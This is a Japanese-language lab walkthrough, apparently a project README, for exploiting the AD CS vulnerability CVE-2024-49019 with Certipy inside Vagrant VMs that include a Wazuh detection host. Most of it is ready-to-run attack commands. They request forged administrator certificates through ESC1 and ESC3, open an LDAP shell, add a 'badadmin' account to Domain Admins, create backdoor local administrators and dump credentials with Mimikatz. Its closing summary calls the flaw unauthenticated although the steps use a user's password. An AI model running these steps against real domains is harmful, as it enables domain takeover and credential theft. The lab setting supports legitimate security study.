CVE-2024-49019の悪用: 証明機関の権限昇格

概要

CVE-2024-49019 は、Active Directory 証明書サービス (AD CS) の脆弱性であり、攻撃者が証明書ベースの認証を悪用して権限を昇格させることができます。このガイドでは、Certipy を使用してこの脆弱性を悪用する方法を示します。

資格情報テーブル

Ubuntu-Wazuh VM は検知目的で使用されます。検知ガイド 緩和策

ステップ 1: リポジトリのクローンと仮想マシンのセットアップ

まず、必要なファイルを含むリポジトリをクローンします:

git clone https://github.com/rayngnpc/CVE-2024-49019-rayng.git
cd CVE-2024-49019-rayng

Vagrant のインストール

続行する前に、ホストマシンに Vagrant をインストールする必要があります。

Windows の場合

Vagrant をここからダウンロードしてインストールするか、PowerShell を使用してインストールします:

choco install vagrant

Linux の場合

sudo apt update && sudo apt install vagrant -y

仮想マシンのセットアップ

Windows Server 2022 VM

cd windows-server2022
vagrant up

Kali Linux VM

cd kali-VM
vagrant up

Wazuh Ubuntu VM

cd WazuhUbuntu
vagrant up

ステップ 2: 仮想ネットワークの構成

このエクスプロイトには NAT ネットワークが必要なため、VirtualBox を次のように構成します:

Windows の場合

以下のコマンドを実行する前に、VBoxManage が環境変数に追加されていることを確認してください。追加されていない場合は、フルパスでコマンドを実行してください:

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

VBoxManage が認識されない場合は、次を使用します:

"C:\Program Files\Oracle\VirtualBox\VBoxManage.exe" natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

Linux の場合

VBoxManage natnetwork add --netname NatNet1 --network "10.0.2.0/24" --enable

VirtualBox 内のすべての VM を確認し、ネットワークアダプター NatNetwork - NatNet1 に割り当てられていることを確認してください。NAT ネットワークは別の名前で作成することもできますが、IP 範囲 10.0.2.0/24 内である必要があります。

注: Wazuh サーバーの DNS を設定することをお勧めします。この場合、DNS は 10.0.2.1 にしてください - インターネットに接続していないと、API チェックが失敗し、Wazuh ダッシュボードにアクセスできない場合があります。

ステップ 3: hosts ファイルの変更

続行する前に、すべての VM が起動していることを確認してください。

攻撃を開始するために Kali Linux VM にアクセスし、/etc/hosts ファイルを更新します:

sudo nano /etc/hosts

次のエントリを追加します:

10.0.2.121 SERVER2022.pchau.domain.local SERVER2022 pchau-SERVER2022-CA pchau.domain.local

保存して終了します。

ステップ 4: 環境のセットアップ

CVE-49019 ディレクトリに移動し、Python 仮想環境を有効化します:

cd ~/CVE-49019
source ~/CVE-49019/rayng/bin/activate

ステップ 5: 悪用方法

この脆弱性を悪用するには、ESC1 と ESC3 の 2 つの方法があります。

ESC1 メソッド

脆弱なテンプレートの検索

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

証明書の要求

certipy req -ca pchau-SERVER2022-CA -target-ip 10.0.2.121 -u '[email protected]' -p '$Vulnerable139' -template "WebServer" -upn "[email protected]" --application-policies 'Client Authentication'

LDAP シェルアクセスに証明書を使用

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

新しいユーザーの追加

add_user badadmin

ユーザーを Domain Admins グループに追加

add_user_to_group badadmin "Domain Admins"

ESC3 メソッド

脆弱なテンプレートの検索

certipy find -dc-ip 10.0.2.121 -username testuser -password '$Vulnerable139' -vulnerable -stdout

テストユーザーから証明書を要求

certipy req -u [email protected] -p '$Vulnerable139' --application-policies "1.3.6.1.4.1.311.20.2.1" -ca 'pchau-SERVER2022-CA' -template WebServer -dc-ip 10.0.2.121

testuser 証明書を使用してドメイン管理者の証明書を要求

certipy req -u [email protected] -p '$Vulnerable139' -on-behalf-of PCHAU\\Administrator -template USER -ca 'pchau-SERVER2022-CA' -pfx testuser.pfx -dc-ip 10.0.2.121

この方法は、PKINIT を要求して TGT からハッシュを取得できる点で ESC1 とは異なります

certipy auth -pfx administrator.pfx -dc-ip 10.0.2.121

注: TGT の要求中にエラーが発生した場合: Kerberos SessionError: KRB_AP_ERR_SKEW(Clock skew too great)

回避策があります。ホストマシンの時刻が Windows Server 自体と同じであることを確認してください。 Kali-Linux VM を Windows-Server と同じ時刻に更新するために、次のコマンドを実行してください。

sudo timedatectl set-ntp off

sudo rdate -n 10.0.2.121

Windows-Server がホストマシンと同じタイムゾーンであることを確認してください。組織の都合で変更できない場合があります。その場合は、日付と時刻の設定に移動して、ホストマシンに合わせて手動で変更してください。Kali-VM と Windows Server は、ホストマシンと同じ時刻である必要があります。

以下のコマンドを使用して、時刻同期を強制することもできます

w32tm /config /manualpeerlist:"time.windows.com,0x8" /syncfromflags:manual /reliable:yes /update

証明書を使用して管理者アクセスを取得

certipy auth -pfx administrator.pfx -ldap-shell -dc-ip 10.0.2.121

ステップ 6: 悪用後にできること

管理者レベルのアクセスを取得すると、攻撃者は以下を行うことができます:

• ユーザーアカウントの作成と管理
  root@kitploit:~

  net user hacked /add
  net localgroup "Administrators" hacked /add
  

• 資格情報のダンプ（Mimikatz を使用）:
  root@kitploit:~

  sekurlsa::logonpasswords
  

• **Impacket を使用した Secretdump
• **Windows サーバーシェルにアクセスするための Wmiexec
• **BloodyAD を使用した Windows Server 管理者の変更
• ネットワーク内でのピボットと横展開
• 永続化の確立
• 機密データの持ち出し

検知および緩和戦略については、検知ガイド を参照してください。

まとめ

CVE-2024-49019 は、認証されていない権限昇格を可能にするため、重大なセキュリティリスクをもたらします。この脆弱性を理解し、Wazuh などの適切な検知メカニズムを導入することは、Active Directory 環境のセキュリティ保護に不可欠です。

AD CS のセキュリティ保護の詳細については、Microsoft Security CVE-2024-49019 を参照してください。